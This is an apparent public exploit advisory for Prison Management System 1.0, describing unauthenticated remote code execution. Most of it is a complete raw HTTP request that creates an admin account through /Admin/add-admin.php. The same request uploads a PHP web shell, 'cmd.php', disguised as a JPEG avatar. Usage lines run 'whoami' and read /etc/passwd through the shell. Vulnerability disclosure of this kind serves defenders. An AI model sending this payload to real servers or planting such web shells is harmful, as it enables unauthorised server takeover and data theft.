# Exploit Title: Prison Management System 1.0 - Unuthenticated RCE
# Date: 24.07.2024
# Exploit Author: Muhammet Ali Dak
# Vendor Homepage: https://www.sourcecodester.com/sql/17287/prison-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=17287&title=Prison+Management+System+Using+PHP
# Version: 1.0
# Tested on: Linux

## Unauthenticated users can access /Admin/add-admin.php address and they can upload malicious php file by changing Content-Type to image/jpeg instead of profile picture image without any authentication. 

POST /Admin/add-admin.php HTTP/1.1
Host: 192.168.60.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------84806108511207628902669766678
Content-Length: 1055
Origin: http://192.168.60.131
Connection: keep-alive
Referer: http://192.168.60.131/Admin/add-admin.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------84806108511207628902669766678
Content-Disposition: form-data; name="txtusername"

yuznumara
-----------------------------84806108511207628902669766678
Content-Disposition: form-data; name="txtfullname"

yuznumara
-----------------------------84806108511207628902669766678
Content-Disposition: form-data; name="txtpassword"

yuznumara123
-----------------------------84806108511207628902669766678
Content-Disposition: form-data; name="txtphone"

55353535353
-----------------------------84806108511207628902669766678
Content-Disposition: form-data; name="avatar"; filename="cmd.php"
Content-Type: image/jpeg

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
-----------------------------84806108511207628902669766678
Content-Disposition: form-data; name="btncreate"


-----------------------------84806108511207628902669766678--

## Malicious file can be seen under the path /uploadImage/Profile/ without any authentication.

## With the request http://192.168.60.131/uploadImage/Profile/cmd.php?cmd=whoami the attacker can execute arbitrary command on the application server.